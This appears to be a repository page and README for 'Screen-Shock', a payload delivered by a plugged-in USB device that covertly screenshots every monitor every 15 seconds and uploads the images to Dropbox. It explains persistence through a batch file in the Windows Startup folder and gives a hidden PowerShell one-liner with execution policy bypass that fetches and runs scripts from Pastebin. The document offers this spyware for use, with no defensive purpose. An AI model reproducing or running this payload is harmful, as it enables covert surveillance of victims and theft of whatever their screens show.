History

atomic f2ad19e15b Update c.ps1		2022-09-07 22:41:03 -04:00
..
I.bat	Add files via upload	2022-09-07 19:56:31 -04:00
README.md	Add files via upload	2022-09-07 19:56:31 -04:00
c.ps1	Update c.ps1	2022-09-07 22:41:03 -04:00
payload.txt	Add files via upload	2022-09-07 19:56:31 -04:00
placeholder	Add files via upload	2022-09-07 19:56:31 -04:00

README.md

Table of Contents

Description
Getting Started
Contributing
Version History
Contact
Acknowledgments

Screen-Shock

This payload is meant to exfiltrate screenshots of all monitors and sends to a dropbox every 15 seconds. (This setting can be changed in the c.ps1 file)

Description

This payload uses iwr to download 2 files

I.bat
c.ps1

I.bat is downloaded to the startup folder to maintain persistance and execute c.ps1 on reboot/startup

c.ps1 will sit in AppData\Roaming folder, taking a screenshot of all monitors every 15 seconds

Then the contents will then be sent to the DropBox for viewing pleasure

Getting Started

Dependencies

Pastebin or other file sharing service, Dropbox
Windows 10
Here is a tutorial on how to use DropBox-Upload

(back to top)

Executing program

Plug in your device
Device will download both files and place them in proper directories to then run the script

powershell -w h -NoP -NonI -Ep Bypass "echo (iwr PASTEBIN LINK FOR BAT).content > "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\l.bat";echo (iwr PASTEBIN LINK FOR PS1).content > "$env:APPDATA\c.ps1";powershell "$env:APPDATA\c.ps1""

(back to top)